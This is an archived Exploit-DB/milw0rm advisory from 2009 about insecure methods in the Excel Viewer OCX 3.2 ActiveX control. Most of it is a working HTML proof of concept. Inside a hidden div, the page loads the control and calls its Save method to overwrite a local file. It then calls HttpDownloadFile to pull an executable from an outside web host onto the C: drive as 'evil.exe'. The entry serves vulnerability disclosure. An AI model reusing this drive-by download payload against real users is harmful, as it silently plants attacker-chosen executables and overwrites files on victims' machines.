ExcelOCX ActiveX 3.2 - Download File Insecure Method

EDB-ID:

7739

CVE:

N/A


Platform:

Windows

Published:

2009-01-12

<html>
<body>
/*
--=0-0-000000000--x==-xxxxxxxxx<br/>
  - 
    Excel Viewer OCX 3.2        <br/>
    homepage: www.officeocx.com <br/>
    download: www.brothersoft.com/excel-viewer-ocx-51797.html <br/>
 
  - RegKey Safe for Script: True<br/>
  - RegKey Safe for Init: True   <br/>
  - Implements IObjectSafety: True <br/>
  - IDisp Safe:  Safe for untrusted: caller,data <br/>  
  - IPersist Safe:  Safe for untrusted: caller,data  <br/> 
  - IPStorage Safe:  Safe for untrusted: caller,data  <br>
  - Tested on Avant Browser 11.7.21 ie 6
                                                       <br/>
Vuln:                                                 <br/>
   1) Arbitrary File Download [HttpDownloadFile]<br/>
   2) Arbitrary file owerwrite [Save]  <br/>
                                         <br/>
  --==0-0000000011011110===    <br/>

    Propably it worst apps i ever see                      <br/>
    this is  funy  that It is meant as Safe for scripting   <br/>
    They want sell it l0l <br/>
             
---000----------++++---------------000  <br/>
         Alfons Luja                    <br/>
     Pozdrawiam swoich fanóF               <br/>
           9002                            <br/>
            :P                              <br/>
00 -0000000000000000===------------------x <br/>
*/<br/>

<div style="visibility:hidden;">
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B965' id='kupa'></object>
<script type="text/javascript">
/* 
    I dont know why but this code act correct only first time
    later it just crash ie 
    In avant browser always is ok but it is necessary to wait a lot time 
    to finsh loading 
    - strange :x 
*/    

 try{
    var obj = document.getElementById('kupa');
    var rem = "http://www.adalex.pl/motyl/motyl-radio.exe";
    var loc = "C:\evil.exe";
    obj.Save("C:\owerwrite.ini");
    obj.HttpDownloadFile(rem,loc);
 }
 catch(err){
       window.alert('Poc failed');
 }
</script>
</div>
</body>
</html>   

# milw0rm.com [2009-01-12]